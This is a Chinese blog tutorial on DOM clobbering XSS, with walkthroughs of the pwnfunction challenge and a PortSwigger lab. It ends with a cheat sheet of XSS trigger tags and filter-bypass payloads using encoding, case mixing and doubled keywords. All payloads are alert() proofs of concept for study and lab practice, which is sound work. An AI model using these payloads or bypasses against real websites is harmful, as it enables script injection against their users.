xss之DOM破坏

embedded/2024/12/22 19:54:11/

文章目录

  • DOM破坏
  • 漏洞的复现
    • https://xss.pwnfunction.com/
    • 基于bp学院DOM破坏漏洞复现
    • 思路分析
    • 实现
  • 常见的xss触发的标签
    • 没有过滤的情况
    • 存在过滤的情况

DOM破坏

DOM破坏就是⼀种将 HTML 代码注⼊⻚⾯中以操纵 DOM 并最终更改⻚⾯上 JavaScript ⾏为的技术。 在⽆法直接 XSS的情况下,我们就可以往这⽅向考虑。

漏洞的复现

xsspwnfunctioncom_4">https://xss.pwnfunction.com/

在这里插入图片描述
GET参数boomer被设置为boomer.innerHTML,通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify

setTimeout可以接受函数或字符串作为参数并执行它。在这里,ok变量被执行,但它不存在。

这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏,通过DOM破坏,将HTML元素注入到DOM中。

创建JavaScript变量构造ok参数,因为setTimeout函数执行字符串,所以需要用到或者标签
构造pyload

<a id=ok href="tel:alert(1)">a

基于bp学院DOM破坏漏洞复现

在这里插入图片描述

思路分析

在这里插入图片描述
分析代码可以看到可以用DOM破坏来控制window.defaultAvatar ,前提是我们原来没有头像然后就可以可以⽤⼀个构造⼀个defaultAvatar.avatar 来进行xss攻击。
我们来举个例子

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:&quot;οnerrοr=alert(1)//">

在这里插入图片描述
当输出 console.log(defaultAvatar)发现是一个数组,那就简单了,我们直接输出 console.log(defaultAvatar.avatar)发现输出的是a标签里面得内容。
在这里插入图片描述
我们在用alert方法打印一下defaultAvatar.avatar发现进行了弹窗,说明将href中的数据拿了出来。
在这里插入图片描述

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;οnerrοr=alert(1)//">

我们再来分析一下这段代码
当我们看源码的时候发现src需要用双引号来进行闭合,但是注意一点的是"必须要用html的实体编码。当执行之后&quot就会被解析成了"实现了闭合。
为什么用cid这个伪协议呢,我们来举个例子
在这里插入图片描述
在这里插入图片描述
我们发现弹出了整个的url地址,因为是url地址所以&quot被解析成了%22
当我们用一个从来没有的协议
在这里插入图片描述

在这里插入图片描述
我们发现弹出的仅仅是href里面得内容,并且&quot也成功的解析成了"

实现

我们随便打开一个评论进行评论
在这里插入图片描述

提交之后再随便的评论一下发现触发了弹窗。
在这里插入图片描述

xss_57">常见的xss触发的标签

没有过滤的情况

//<script>
<scirpt>alert("xss");</script>
//img
图片加载错误时触发
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)">
鼠标指针移出时触发
<img src=1 onmouseout="alert(1)">
//<a>
<a href=javascript:alert('xss')>test</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
//<input>
<input onfocus="alert('xss');">
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
//<svg>
<svg onload=alert(1)>
//javascript伪协议
<a>标签
<a href="javascript:alert('xss');">xss</a>
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<img>标签
<img src=javascript:alert('xss')>//IE7以下
<form>标签
<form action="Javascript:alert(1)"><input type=submit>

存在过滤的情况

//过滤空格
用 / 代替空格
<img/src="x"/onerror=alert("xss");>
//过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接(利用eval)
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
//编码绕过
Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
//过滤双引号,单引号
如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(``xss``);>
//过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

http://www.ppmy.cn/embedded/97011.html

相关文章

EXCEL跨文件查询,指定条件列,返回满足条件的指定列

EXCEL跨文件查询&#xff0c;指定条件列&#xff0c;返回满足条件的指定列 Private Sub cmd_find_from_workbooks_Click() Dim S_Cols As String, thePath As String, Sor_Col As Integer, sz_Cols As Variant S_Cols T_jieguo_cols.Text sz_Cols Split(S_Cols, ",&quo…

LMA——基于 LM 的游戏和挑战代理架构探索

概述 论文地址&#xff1a;https://arxiv.org/pdf/2403.10249 源码地址&#xff1a;https://github.com/BAAI-Agents/GPA-LM.git 本文指出&#xff0c;虽然以语言为中心或多模态的大规模模型&#xff08;LMs&#xff09;正在迅速发展&#xff0c;但对其能力和潜力缺乏系统的审…

XSS- DOMclobbering与svg深度利用

目录 源码展示 解法一&#xff1a;绕过过滤-DOM clobbering 什么是DOM clobbering DOM clobbering原理 全局变量自动创建 属性名冲突 影响脚本执行 逐过程分析 源码展示 <script>const data decodeURIComponent(location.hash.substr(1));;const root documen…

使用树莓派Raspberry Pi 4和OpenWrt构建Web界面的嵌入式路由器:全面技术栈解析(代码示例)

一、项目概述 在现代网络环境中&#xff0c;嵌入式路由器作为网络连接的核心设备&#xff0c;承担着数据传输、网络安全及设备管理等重要功能。本项目旨在开发一款带有Web界面的嵌入式路由器&#xff0c;使用Raspberry Pi 4作为硬件平台&#xff0c;运行定制的OpenWrt系统。通…

每日一问:Kafka消息丢失与堆积问题分析与解决方案

Kafka消息丢失与堆积问题分析与解决方案 Kafka作为分布式消息系统&#xff0c;广泛应用于实时数据流处理、大数据分析等领域。然而&#xff0c;在实际应用中&#xff0c;Kafka可能会面临消息丢失和消息堆积的问题&#xff0c;这些问题如果得不到有效处理&#xff0c;会严重影响…

政务大数据解决方案(二)

政务大数据解决方案通过整合各类政府数据资源&#xff0c;运用数据挖掘与分析技术&#xff0c;实现对公共服务和政策决策的智能化支持。该方案包括数据的全面采集与清洗、实时存储与管理、深度分析与预测以及结果的可视化展示&#xff0c;目的是通过建立一个高效的政府数据平台…

【51单片机】让AI识别电路图,帮你进行编码(以51单片机为例)

让AI识别电路图,帮你进行编码&#xff08;以51单片机为例&#xff09; ​ 这里使用的AI大模型使用的是 Copilot。&#xff08;两个前提&#xff1a;1. 科学上网、2. 有微软账号&#xff09; 今天测试了一下Copilot识别图片的能力&#xff0c;能力还是可圈可点的。 首先准备一…

在Unreal Engine中使用C++创建基础角色并添加移动功能

目录 引言 步骤一&#xff1a;创建C类 步骤二&#xff1a;编写C代码 步骤三&#xff1a;设置输入绑定 步骤四&#xff1a;在UE编辑器中测试 结论 引言 Unreal Engine&#xff08;UE&#xff09;以其强大的功能和灵活性在游戏开发界广受好评。本文将指导你如何在UE中通过…